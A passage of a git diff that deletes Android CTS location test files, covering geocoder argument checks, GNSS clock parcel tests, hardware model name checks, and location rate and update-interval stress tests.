- private final static String TAG = EmergencyCallWifiTest.class.getCanonicalName();
- private final static String LATCH_NAME = "EmergencyCallWifiTest";
- private final static String GOOGLE_URL = "www.google.com";
- private final static int WEB_PORT = 80;
- private static final int BATCH_SCAN_BSSID_LIMIT = 25;
- private static final int WIFI_SCAN_TIMEOUT_SEC = 30;
- private static final long SETTINGS_PERIOD_MS = TimeUnit.SECONDS.toMillis(4);
- private static final long INTERNET_CONNECTION_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
- private static final int MIN_SCAN_COUNT = 1;
-
- private WifiManager mWifiManager;
- private Context mContext;
- private WifiScanReceiver mWifiScanReceiver;
- private int mScanCounter = 0;
- private CountDownLatch mLatch;
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
- mContext = getContext();
- mWifiManager = (WifiManager) mContext.getSystemService(mContext.WIFI_SERVICE);
- mWifiScanReceiver = new WifiScanReceiver();
- }
-
- @AppModeFull(reason = "Requires registering a broadcast receiver")
- public void testWifiScan() throws Exception {
- mContext.registerReceiver(mWifiScanReceiver, new IntentFilter(
- WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
- mLatch = new CountDownLatch(1);
- mWifiManager.startScan();
- Log.d(TAG, "Waiting for wifiScan to complete.");
- mLatch.await(WIFI_SCAN_TIMEOUT_SEC, TimeUnit.SECONDS);
- if (mScanCounter < MIN_SCAN_COUNT) {
- fail(String.format("Expected at least %d scans but only %d scans happened",
- MIN_SCAN_COUNT, mScanCounter));
- }
- }
-
- public void testWifiConnection() {
- boolean isReachable =
- isReachable(GOOGLE_URL, WEB_PORT, (int)INTERNET_CONNECTION_TIMEOUT);
- assertTrue("Can not connect to google.com."
- + " Please make sure device has the internet connection", isReachable);
- }
-
- private static boolean isReachable(String addr, int openPort, int timeOutMillis) {
- try {
- try (Socket soc = new Socket()) {
- soc.connect(new InetSocketAddress(addr, openPort), timeOutMillis);
- }
- return true;
- } catch (IOException ex) {
- return false;
- }
- }
-
- private class WifiScanReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context c, Intent intent) {
- List <ScanResult> scanResults = mWifiManager.getScanResults();
- Log.d(TAG, String.format("Got scan results with size %d", scanResults.size()));
- for (ScanResult result : scanResults) {
- Log.d(TAG, result.toString());
- }
- mScanCounter++;
- mLatch.countDown();
- }
- }
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GeocoderTest.java b/tests/tests/location/src/android/location/cts/GeocoderTest.java
deleted file mode 100644
index 62d9d25..0000000
--- a/tests/tests/location/src/android/location/cts/GeocoderTest.java
+++ /dev/null
@@ -1,172 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.location.Geocoder;
-import android.test.AndroidTestCase;
-
-import java.io.IOException;
-import java.util.Locale;
-
-public class GeocoderTest extends AndroidTestCase {
-
- private static final int MAX_NUM_RETRIES = 5;
- private static final int TIME_BETWEEN_RETRIES_MS = 10 * 1000;
-
- public void testConstructor() {
- new Geocoder(getContext());
-
- new Geocoder(getContext(), Locale.ENGLISH);
-
- try {
- new Geocoder(getContext(), null);
- fail("should throw NullPointerException.");
- } catch (NullPointerException e) {
- // expected.
- }
- }
-
- public void testIsPresent() {
- Geocoder geocoder = new Geocoder(getContext());
- if (isServiceMissing()) {
- assertFalse(geocoder.isPresent());
- } else {
- assertTrue(geocoder.isPresent());
- }
- }
-
- private boolean isServiceMissing() {
- Context context = getContext();
- PackageManager pm = context.getPackageManager();
-
- final Intent intent = new Intent("com.android.location.service.GeocodeProvider");
- final int flags = PackageManager.MATCH_DIRECT_BOOT_AWARE
- | PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
- return pm.queryIntentServices(intent, flags).isEmpty();
- }
-
- public void testGetFromLocation() throws IOException, InterruptedException {
- Geocoder geocoder = new Geocoder(getContext());
-
- // There is no guarantee that geocoder.getFromLocation returns accurate results
- // Thus only test that calling the method with valid arguments doesn't produce
- // an unexpected exception
- // Note: there is a risk this test will fail if device under test does not have
- // a network connection. This is why we try the geocode 5 times if it fails due
- // to a network error.
- int numRetries = 0;
- while (numRetries < MAX_NUM_RETRIES) {
- try {
- geocoder.getFromLocation(60, 30, 5);
- break;
- } catch (IOException e) {
- Thread.sleep(TIME_BETWEEN_RETRIES_MS);
- numRetries++;
- }
- }
- if (numRetries >= MAX_NUM_RETRIES) {
- fail("Failed to geocode location " + MAX_NUM_RETRIES + " times.");
- }
-
-
- try {
- // latitude is less than -90
- geocoder.getFromLocation(-91, 30, 5);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- try {
- // latitude is greater than 90
- geocoder.getFromLocation(91, 30, 5);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- try {
- // longitude is less than -180
- geocoder.getFromLocation(10, -181, 5);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- try {
- // longitude is greater than 180
- geocoder.getFromLocation(10, 181, 5);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
- }
-
- public void testGetFromLocationName() throws IOException, InterruptedException {
- Geocoder geocoder = new Geocoder(getContext(), Locale.US);
-
- // There is no guarantee that geocoder.getFromLocationName returns accurate results.
- // Thus only test that calling the method with valid arguments doesn't produce
- // an unexpected exception
- // Note: there is a risk this test will fail if device under test does not have
- // a network connection. This is why we try the geocode 5 times if it fails due
- // to a network error.
- int numRetries = 0;
- while (numRetries < MAX_NUM_RETRIES) {
- try {
- geocoder.getFromLocationName("Dalvik,Iceland", 5);
- break;
- } catch (IOException e) {
- Thread.sleep(TIME_BETWEEN_RETRIES_MS);
- numRetries++;
- }
- }
- if (numRetries >= MAX_NUM_RETRIES) {
- fail("Failed to geocode location name " + MAX_NUM_RETRIES + " times.");
- }
-
- try {
- geocoder.getFromLocationName(null, 5);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- try {
- geocoder.getFromLocationName("Beijing", 5, -91, 100, 45, 130);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- try {
- geocoder.getFromLocationName("Beijing", 5, 25, 190, 45, 130);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- try {
- geocoder.getFromLocationName("Beijing", 5, 25, 100, 91, 130);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
-
- try {
- geocoder.getFromLocationName("Beijing", 5, 25, 100, 45, -181);
- fail("should throw IllegalArgumentException");
- } catch (IllegalArgumentException e) {
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssClockTest.java b/tests/tests/location/src/android/location/cts/GnssClockTest.java
deleted file mode 100644
index 7b4bfb0..0000000
--- a/tests/tests/location/src/android/location/cts/GnssClockTest.java
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.os.Parcel;
-
-public class GnssClockTest extends GnssTestCase {
- public void testDescribeContents() {
- GnssClock clock = new GnssClock();
- clock.describeContents();
- }
-
- public void testReset() {
- GnssClock clock = new GnssClock();
- clock.reset();
- }
-
- private static void setTestValues(GnssClock clock) {
- clock.setBiasNanos(1.0);
- clock.setBiasUncertaintyNanos(2.0);
- clock.setDriftNanosPerSecond(3.0);
- clock.setDriftUncertaintyNanosPerSecond(4.0);
- clock.setFullBiasNanos(5);
- clock.setHardwareClockDiscontinuityCount(6);
- clock.setLeapSecond(7);
- clock.setTimeNanos(8);
- clock.setTimeUncertaintyNanos(9.0);
- clock.setElapsedRealtimeNanos(10987732253L);
- clock.setElapsedRealtimeUncertaintyNanos(3943523.0);
- }
-
- private static void verifyTestValues(GnssClock clock) {
- assertEquals(1.0, clock.getBiasNanos());
- assertEquals(2.0, clock.getBiasUncertaintyNanos());
- assertEquals(3.0, clock.getDriftNanosPerSecond());
- assertEquals(4.0, clock.getDriftUncertaintyNanosPerSecond());
- assertEquals(5, clock.getFullBiasNanos());
- assertEquals(6, clock.getHardwareClockDiscontinuityCount());
- assertEquals(7, clock.getLeapSecond());
- assertEquals(8, clock.getTimeNanos());
- assertEquals(9.0, clock.getTimeUncertaintyNanos());
- assertEquals(10987732253L, clock.getElapsedRealtimeNanos());
- assertEquals(3943523.0, clock.getElapsedRealtimeUncertaintyNanos());
- }
-
- public void testWriteToParcel() {
- GnssClock clock = new GnssClock();
- setTestValues(clock);
- Parcel parcel = Parcel.obtain();
- clock.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- GnssClock newClock = GnssClock.CREATOR.createFromParcel(parcel);
- verifyTestValues(newClock);
- parcel.recycle();
- }
-
- public void testSet() {
- GnssClock clock = new GnssClock();
- setTestValues(clock);
- GnssClock newClock = new GnssClock();
- newClock.set(clock);
- verifyTestValues(newClock);
- }
-
- public void testHasAndReset() {
- GnssClock clock = new GnssClock();
- setTestValues(clock);
-
- assertTrue(clock.hasBiasNanos());
- clock.resetBiasNanos();
- assertFalse(clock.hasBiasNanos());
-
- assertTrue(clock.hasBiasUncertaintyNanos());
- clock.resetBiasUncertaintyNanos();
- assertFalse(clock.hasBiasUncertaintyNanos());
-
- assertTrue(clock.hasDriftNanosPerSecond());
- clock.resetDriftNanosPerSecond();
- assertFalse(clock.hasDriftNanosPerSecond());
-
- assertTrue(clock.hasDriftUncertaintyNanosPerSecond());
- clock.resetDriftUncertaintyNanosPerSecond();
- assertFalse(clock.hasDriftUncertaintyNanosPerSecond());
-
- assertTrue(clock.hasFullBiasNanos());
- clock.resetFullBiasNanos();
- assertFalse(clock.hasFullBiasNanos());
-
- assertTrue(clock.hasLeapSecond());
- clock.resetLeapSecond();
- assertFalse(clock.hasLeapSecond());
-
- assertTrue(clock.hasTimeUncertaintyNanos());
- clock.resetTimeUncertaintyNanos();
- assertFalse(clock.hasTimeUncertaintyNanos());
-
- assertTrue(clock.hasElapsedRealtimeNanos());
- clock.resetElapsedRealtimeNanos();
- assertFalse(clock.hasElapsedRealtimeNanos());
-
- assertTrue(clock.hasElapsedRealtimeUncertaintyNanos());
- clock.resetElapsedRealtimeUncertaintyNanos();
- assertFalse(clock.hasElapsedRealtimeUncertaintyNanos());
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssHardwareInfoTest.java b/tests/tests/location/src/android/location/cts/GnssHardwareInfoTest.java
deleted file mode 100644
index f6fbe75..0000000
--- a/tests/tests/location/src/android/location/cts/GnssHardwareInfoTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.LocationManager;
-import android.util.Log;
-
-/**
- * Test {@link LocationManager#getGnssHardwareModelName}.
- */
-public class GnssHardwareInfoTest extends GnssTestCase {
-
- private static final String TAG = "GnssHardwareInfoTest";
-
- /**
- * Minimum plausible descriptive hardware model name length, e.g. "ABC1" for first GNSS version
- * ever shipped by ABC company.
- */
- private static final int MIN_HARDWARE_MODEL_NAME_LENGTH = 4;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- /**
- * Verify GNSS hardware model year is reported as a valid, descriptive value.
- * Descriptive is limited to a character count, and not the older values.
- */
- public void testHardwareModelName() throws Exception {
- if (!TestUtils.deviceHasGpsFeature(getContext())) {
- return;
- }
-
- String gnssHardwareModelName =
- mTestLocationManager.getLocationManager().getGnssHardwareModelName();
- SoftAssert softAssert = new SoftAssert(TAG);
- softAssert.assertOrWarnTrue(/* strict= */ false, "gnssHardwareModelName must not be null",
- gnssHardwareModelName != null);
- if (gnssHardwareModelName != null) {
- assertTrue("gnssHardwareModelName must be descriptive - at least 4 characters long",
- gnssHardwareModelName.length() >= MIN_HARDWARE_MODEL_NAME_LENGTH);
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java b/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
deleted file mode 100644
index b9eb5fd..0000000
--- a/tests/tests/location/src/android/location/cts/GnssLocationRateChangeTest.java
+++ /dev/null
@@ -1,164 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.platform.test.annotations.AppModeFull;
-
-/**
- * Test the "gps" location output works through various rate changes
- *
- * Tests:
- * 1. Toggle through various rates.
- * 2. Mix toggling through various rates with start & stop.
- *
- * Inspired by bugs 65246279, 65425110
- */
-
-public class GnssLocationRateChangeTest extends GnssTestCase {
-
- private static final String TAG = "GnssLocationRateChangeTest";
- private static final int LOCATION_TO_COLLECT_COUNT = 1;
-
- private TestLocationListener mLocationListenerMain;
- private TestLocationListener mLocationListenerAfterRateChanges;
- // Various rates, where underlying GNSS hardware states may enter different modes
- private static final int[] TBF_MSEC = {0, 4_000, 250_000, 6_000_000, 10, 1_000, 16_000, 64_000};
- private static final int LOOPS_FOR_STRESS_TEST = 20;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mTestLocationManager = new TestLocationManager(getContext());
- // Using separate listeners, so the await trigger for the after-rate-changes listener is
- // independent of any possible locations that flow during setup, and rate change stress
- // testing
- mLocationListenerMain = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- mLocationListenerAfterRateChanges = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister listeners
- if (mLocationListenerMain != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
- }
- if (mLocationListenerAfterRateChanges != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListenerAfterRateChanges);
- }
- super.tearDown();
- }
-
- /**
- * Requests (GPS) Locations at various rates that may stress the underlying GNSS software
- * and firmware state machine layers, ensuring Location output
- * remains responsive after all is done.
- */
- @AppModeFull(reason = "Flaky in instant mode.")
- public void testVariedRates() throws Exception {
- if (!TestUtils.deviceHasGpsFeature(getContext())) {
- return;
- }
-
- SoftAssert softAssert = new SoftAssert(TAG);
- mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
- softAssert.assertTrue("Location should be received at test start",
- mLocationListenerMain.await());
-
- for (int timeBetweenLocationsMsec : TBF_MSEC) {
- // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
- mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
- timeBetweenLocationsMsec);
- }
- mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
-
- mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
- softAssert.assertTrue("Location should be received at test end",
- mLocationListenerAfterRateChanges.await());
-
- softAssert.assertAll();
- }
-
- /**
- * Requests (GPS) Locations at various rates, and toggles between requests and removals,
- * that may stress the underlying GNSS software
- * and firmware state machine layers, ensuring Location output remains responsive
- * after all is done.
- */
- public void testVariedRatesOnOff() throws Exception {
- if (!TestUtils.deviceHasGpsFeature(getContext())) {
- return;
- }
-
- SoftAssert softAssert = new SoftAssert(TAG);
- mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
- softAssert.assertTrue("Location should be received at test start",
- mLocationListenerMain.await());
-
- for (int timeBetweenLocationsMsec : TBF_MSEC) {
- // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
- mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
- timeBetweenLocationsMsec);
- // Also flip the requests on and off quickly
- mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
- }
-
- mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
- softAssert.assertTrue("Location should be received at test end",
- mLocationListenerAfterRateChanges.await());
-
- softAssert.assertAll();
- }
-
- /**
- * Requests (GPS) Locations at various rates, and toggles between requests and removals,
- * in multiple loops to provide additional stress to the underlying GNSS software
- * and firmware state machine layers, ensuring Location output remains responsive
- * after all is done.
- */
- public void testVariedRatesRepetitive() throws Exception {
- if (!TestUtils.deviceHasGpsFeature(getContext())) {
- return;
- }
-
- SoftAssert softAssert = new SoftAssert(TAG);
- mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
- softAssert.assertTrue("Location should be received at test start",
- mLocationListenerMain.await());
-
- // Two loops, first without removes, then with removes
- for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
- for (int timeBetweenLocationsMsec : TBF_MSEC) {
- mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
- timeBetweenLocationsMsec);
- }
- }
- for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
- for (int timeBetweenLocationsMsec : TBF_MSEC) {
- mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
- timeBetweenLocationsMsec);
- // Also flip the requests on and off quickly
- mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
- }
- }
-
- mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
- softAssert.assertTrue("Location should be received at test end",
- mLocationListenerAfterRateChanges.await());
-
- softAssert.assertAll();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationUpdateIntervalTest.java b/tests/tests/location/src/android/location/cts/GnssLocationUpdateIntervalTest.java
deleted file mode 100644
index 106df1f..0000000
--- a/tests/tests/location/src/android/location/cts/GnssLocationUpdateIntervalTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2019 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.Location;
-import android.location.LocationManager;
-import android.util.Log;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Test the {@link Location} update interval.
- *
- * Test steps:
- * 1. Register for location updates with a specific interval.
- * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
- * 3. Compute the deltas between location update timestamps.
- * 4. Compute mean and stddev and assert that they are within expected thresholds.
- */
-public class GnssLocationUpdateIntervalTest extends GnssTestCase {
-
- private static final String TAG = "GnssLocationUpdateIntervalTest";
-
- private static final int LOCATION_TO_COLLECT_COUNT = 8;
- private static final int TIMEOUT_IN_SEC = 120;
-
- // Minimum time interval between fixes in milliseconds.
- private static final int[] FIX_INTERVALS_MILLIS = {0, 1000, 5000, 15000};
-
- private static final int MSG_TIMEOUT = 1;
-
- // Timing failures on first NUM_IGNORED_UPDATES updates are ignored.
- private static final int NUM_IGNORED_UPDATES = 2;
-
- // In active mode, the mean computed for the deltas should not be smaller
- // than mInterval * ACTIVE_MIN_MEAN_RATIO
- private static final double ACTIVE_MIN_MEAN_RATIO = 0.75;
-
- // In passive mode, the mean computed for the deltas should not be smaller
- // than mInterval * PASSIVE_MIN_MEAN_RATIO
- private static final double PASSIVE_MIN_MEAN_RATIO = 0.1;
-
- /**
- * The standard deviation computed for the deltas should not be bigger
- * than mInterval * ALLOWED_STDEV_ERROR_RATIO
- * or MIN_STDEV_MS, whichever is higher.
- */
- private static final double ALLOWED_STDEV_ERROR_RATIO = 0.50;
- private static final long MIN_STDEV_MS = 1000;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mTestLocationManager = new TestLocationManager(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- }
-
- public void testLocationUpdatesAtVariousIntervals() throws Exception {
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
- return;
- }
-
- for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
- testLocationUpdatesAtInterval(fixIntervalMillis);
- }
- }
-
- private void testLocationUpdatesAtInterval(int fixIntervalMillis) throws Exception {
- Log.i(TAG, "testLocationUpdatesAtInterval, fixIntervalMillis: " + fixIntervalMillis);
- TestLocationListener activeLocationListener = new TestLocationListener(
- LOCATION_TO_COLLECT_COUNT);
- TestLocationListener passiveLocationListener = new TestLocationListener(
- LOCATION_TO_COLLECT_COUNT);
- mTestLocationManager.requestLocationUpdates(activeLocationListener, fixIntervalMillis);
- mTestLocationManager.requestPassiveLocationUpdates(passiveLocationListener,
- fixIntervalMillis);
- try {
- boolean success = activeLocationListener.await(
- (fixIntervalMillis * LOCATION_TO_COLLECT_COUNT) + TIMEOUT_IN_SEC);
- assertTrue("Time elapsed without getting enough location fixes."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success);
- } finally {
- mTestLocationManager.removeLocationUpdates(activeLocationListener);
- mTestLocationManager.removeLocationUpdates(passiveLocationListener);
- }
-
- List<Location> activeLocations = activeLocationListener.getReceivedLocationList();
- List<Location> passiveLocations = passiveLocationListener.getReceivedLocationList();
- validateLocationUpdateInterval(activeLocations, passiveLocations, fixIntervalMillis);
- }
-
- private static void validateLocationUpdateInterval(List<Location> activeLocations,
- List<Location> passiveLocations, int fixIntervalMillis) {
- // For active locations, consider all fixes.
- long minFirstFixTimestamp = 0;
- List<Long> activeDeltas = getTimeBetweenFixes(LocationManager.GPS_PROVIDER,
- activeLocations, minFirstFixTimestamp);
-
- // When a test round starts, passive listener shouldn't receive location before active
- // listener. If this situation occurs, we treat this location as overdue location.
- // (The overdue location comes from previous test round, it occurs occasionally)
- // We have to skip it to prevent wrong calculation of time interval.
- minFirstFixTimestamp = activeLocations.get(0).getTime();
- List<Long> passiveDeltas = getTimeBetweenFixes(LocationManager.PASSIVE_PROVIDER,
- passiveLocations, minFirstFixTimestamp);
-
- SoftAssert softAssert = new SoftAssert(TAG);
- assertMeanAndStdev(softAssert, LocationManager.GPS_PROVIDER, fixIntervalMillis,
- activeDeltas, ACTIVE_MIN_MEAN_RATIO);
- assertMeanAndStdev(softAssert, LocationManager.PASSIVE_PROVIDER, fixIntervalMillis,
- passiveDeltas, PASSIVE_MIN_MEAN_RATIO);
- softAssert.assertAll();
- }
-
- private static List<Long> getTimeBetweenFixes(String provider, List<Location> locations,
- long minFixTimestampMillis) {
- List<Long> deltas = new ArrayList(locations.size());
- long lastFixTimestamp = -1;
- int i = 0;
- for (Location location : locations) {
- if (!location.getProvider().equals(LocationManager.GPS_PROVIDER)) {
- continue;
- }
-
- final long fixTimestamp = location.getTime();
- if (fixTimestamp < minFixTimestampMillis) {
- Log.i(TAG, provider + " provider, ignoring location update from an earlier test");
- continue;
- }
-
- ++i;
- final long delta = fixTimestamp - lastFixTimestamp;
- lastFixTimestamp = fixTimestamp;
- if (i <= NUM_IGNORED_UPDATES) {
- Log.i(TAG, provider + " provider, ignoring location update with delta: "
- + delta + " msecs");
- continue;
- }
-
- deltas.add(delta);
- }
-
- return deltas;
- }
-
- private static void assertMeanAndStdev(SoftAssert softAssert, String provider,
- int fixIntervalMillis, List<Long> deltas, double minMeanRatio) {
- double mean = computeMean(deltas);
- double stdev = computeStdev(mean, deltas);
-
- double minMean = fixIntervalMillis * minMeanRatio;
- softAssert.assertTrue(provider + " provider mean too small: " + mean
- + " (min: " + minMean + ")", mean >= minMean);
-
- double maxStdev = Math.max(MIN_STDEV_MS, fixIntervalMillis * ALLOWED_STDEV_ERROR_RATIO);
- softAssert.assertTrue(provider + " provider stdev too big: "
- + stdev + " (max: " + maxStdev + ")", stdev <= maxStdev);
- Log.i(TAG, provider + " provider mean: " + mean);
- Log.i(TAG, provider + " provider stdev: " + stdev);
- }
-
- private static double computeMean(List<Long> deltas) {
- long accumulator = 0;
- for (long d : deltas) {
- accumulator += d;
- }
- return accumulator / deltas.size();
- }
-
- private static double computeStdev(double mean, List<Long> deltas) {
- double accumulator = 0;
- for (long d : deltas) {
- double diff = d - mean;
- accumulator += diff * diff;
- }
- return Math.sqrt(accumulator / (deltas.size() - 1));
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java b/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
deleted file mode 100644
index c1b5d00..0000000
--- a/tests/tests/location/src/android/location/cts/GnssLocationValuesTest.java
+++ /dev/null
@@ -1,212 +0,0 @@
-/*
- * Copyright (C) 2017 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.Location;
-import android.util.Log;
-
-/**
- * Test the {@link Location} values.
- *
- * Test steps:
- * 1. Register for location updates.
- * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
- * 3.1 Confirm locations have been found.
- * 3. Get LastKnownLocation, verified all fields are in the correct range.
- */
-public class GnssLocationValuesTest extends GnssTestCase {
-
- private static final String TAG = "GnssLocationValuesTest";
- private static final int LOCATION_TO_COLLECT_COUNT = 5;
- private TestLocationListener mLocationListener;
- private static final int LOCATION_UNCERTIANTY_MIN_YEAR = 2017;
- private boolean extendedLocationAccuracyExpected = false;
- // TODO(b/65458848): Re-tighten the limit to 0.001 when sufficient devices in the market comply
- private static final double MINIMUM_SPEED_FOR_BEARING = 1.000;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mTestLocationManager = new TestLocationManager(getContext());
- extendedLocationAccuracyExpected = true;
- mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
- }
-
- @Override
- protected void tearDown() throws Exception {
- // Unregister listeners
- if (mLocationListener != null) {
- mTestLocationManager.removeLocationUpdates(mLocationListener);
- }
- super.tearDown();
- }
-
- /**
- * Those accuracy fields are new O-features,
- * only test them if the hardware is later than 2017
- */
- public void testAccuracyFields() throws Exception {
- // Checks if GPS hardware feature is present, skips test (pass) if not,
- // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
- if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
- return;
- }
-
- SoftAssert softAssert = new SoftAssert(TAG);
- mTestLocationManager.requestLocationUpdates(mLocationListener);
- boolean success = mLocationListener.await();
- softAssert.assertTrue(
- "Time elapsed without getting the GNSS locations."
- + " Possibly, the test has been run deep indoors."
- + " Consider retrying test outdoors.",
- success);
-
- for (Location location : mLocationListener.getReceivedLocationList()) {
- checkLocationAccuracyFields(softAssert, location,
- extendedLocationAccuracyExpected);
- }
-
- softAssert.assertAll();
- }
-
- public static void checkLocationAccuracyFields(SoftAssert softAssert,
- Location location, boolean extendedLocationAccuracyExpected) {
- softAssert.assertTrue("All locations generated by the LocationManager "
- + "should have a horizontal accuracy.", location.hasAccuracy());
- if (location.hasAccuracy()) {
- softAssert.assertTrue("Location Accuracy should be greater than 0.",
- location.getAccuracy() > 0);
- }
-
- if (!extendedLocationAccuracyExpected) {
- return;
- }
- Log.i(TAG, "Logging YEAR_2017 Capability.");
-
- if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
- softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
- "When speed is greater than 0, all GNSS locations generated by "
- + "the LocationManager must have bearing accuracies.",
- location.hasBearingAccuracy());
- if (location.hasBearingAccuracy()) {
- softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
- "Bearing Accuracy should be greater than 0.",
- location.getBearingAccuracyDegrees() > 0);
- }
- }
-
- softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
- "All GNSS locations generated by the LocationManager "
- + "must have a speed accuracy.", location.hasSpeedAccuracy());
- if (location.hasSpeedAccuracy()) {
- softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
- "Speed Accuracy should be greater than 0.",
